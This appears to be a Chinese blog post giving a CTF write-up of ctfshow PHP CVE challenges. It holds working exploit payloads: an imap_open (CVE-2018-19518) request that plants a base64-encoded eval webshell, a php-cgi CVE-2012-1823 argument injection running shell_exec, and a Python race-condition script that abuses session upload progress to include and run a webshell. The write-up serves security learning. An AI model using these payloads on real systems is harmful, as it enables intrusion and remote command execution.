ctfshow-phpCVE

前言

首先要安装go语言!这个需要配置好,有点难配置!此时我们下载phuip-fpizdam这个工具!

web311

这里就要用到了phuip-fpizdam这个工具了!
在这里插入图片描述
然后再用index.php?a的命令去执行!
在这里插入图片描述


web312(CVE-2018-19518)

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分

此时要使用BP发送数据包!
在这里插入图片描述

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbJ2hhcmtlciddKTsnID4gL3Zhci93d3cvaHRtbC9oYXJrZXIucGhw|base64%09-d|sh}a&username=1&password=1

hostname=x+-oProxyCommand%3decho%09这里就是我们的一句话木马并且base64加密过的|base64%09-d|sh}a&username=1&password=1

在这里插入图片描述


web313(CVE-2012-1823)

CGI模式下的参数:

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-? 显示帮助

在这里插入图片描述
-d执行命令!

index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
post:
<?php echo shell_exec('id');?>

在这里插入图片描述


web314(PHP_SESSION_UPLOAD_PROGRESS文件包含)

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    include($file);
}

这里是条件竞争了

自己写的脚本了,写的过程一直出错,后来才弄好了!

import requests
import io
import threading
url = 'http://8829e11c-ff47-407a-ae2b-2d7f73e21805.challenge.ctf.show:8080/'
def write(session):#
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["harker"]);?>'
    }#传个一句话木马
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('harker.txt',f)})

def read(session):
    data = {'harker':'system("ls");'}#利用一句话木马
    while event.isSet():
        response = session.post(url+'?f=/tmp/sess_flag',data=data)#这里十post请求,就是这里我搞错了,弄的我反复检查!
        if 'harker.txt' in response.text:#判断
            print(response.text)
            event.clear()#终止进程
            break
        else:
            pass

if __name__=='__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(10):#开启十条进程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read,args=(session,)).start()

web315(未做)

posted @ 2021-04-20 18:56  望权栈  阅读(40)  评论(0编辑  收藏  举报  来源